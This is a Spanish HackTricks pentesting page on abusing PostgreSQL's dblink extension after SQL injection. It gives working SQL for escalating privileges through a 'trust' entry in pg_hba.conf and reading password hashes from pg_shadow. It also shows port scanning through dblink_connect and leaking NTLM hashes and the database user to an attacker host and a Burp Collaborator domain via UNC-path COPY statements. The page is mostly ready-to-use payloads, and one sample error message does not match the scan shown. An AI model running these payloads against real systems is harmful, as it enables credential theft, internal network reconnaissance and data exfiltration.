hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

6 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Encuentra más información sobre estos ataques en el documento original.

Desde PostgreSQL 9.1, la instalación de módulos adicionales es simple. Las extensiones registradas como dblink se pueden instalar con CREATE EXTENSION:

CREATE EXTENSION dblink;

Una vez que tengas dblink cargado, podrías ser capaz de realizar algunos trucos interesantes:

Escalación de Privilegios

El archivo pg_hba.conf podría estar mal configurado permitiendo conexiones desde localhost como cualquier usuario sin necesidad de conocer la contraseña. Este archivo se puede encontrar típicamente en /etc/postgresql/12/main/pg_hba.conf y una mala configuración se ve así:

local    all    all    trust

Tenga en cuenta que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de base de datos cuando el administrador la olvida, por lo que a veces puede encontrarla.
Tenga también en cuenta que el archivo pg_hba.conf es legible solo por el usuario y grupo postgres y escribible solo por el usuario postgres.

Este caso es útil si ya tiene un shell dentro de la víctima, ya que le permitirá conectarse a la base de datos postgresql.

Otra posible mala configuración consiste en algo como esto:

host    all     all     127.0.0.1/32    trust

Como permitirá que todos desde el localhost se conecten a la base de datos como cualquier usuario.
En este caso y si la función dblink está funcionando, podrías escalar privilegios conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Abusando de dblink_connect también podrías buscar puertos abiertos. Si esa **función no funciona, deberías intentar usar dblink_connect_u() ya que la documentación dice que dblink_connect_u() es idéntica a dblink_connect(), excepto que permitirá a los no superusuarios conectarse utilizando cualquier método de autenticación_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Nota que antes de poder usar dblink_connect o dblink_connect_u es posible que necesites ejecutar:

CREATE extension dblink;

Ruta UNC - Divulgación de hash NTLM

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}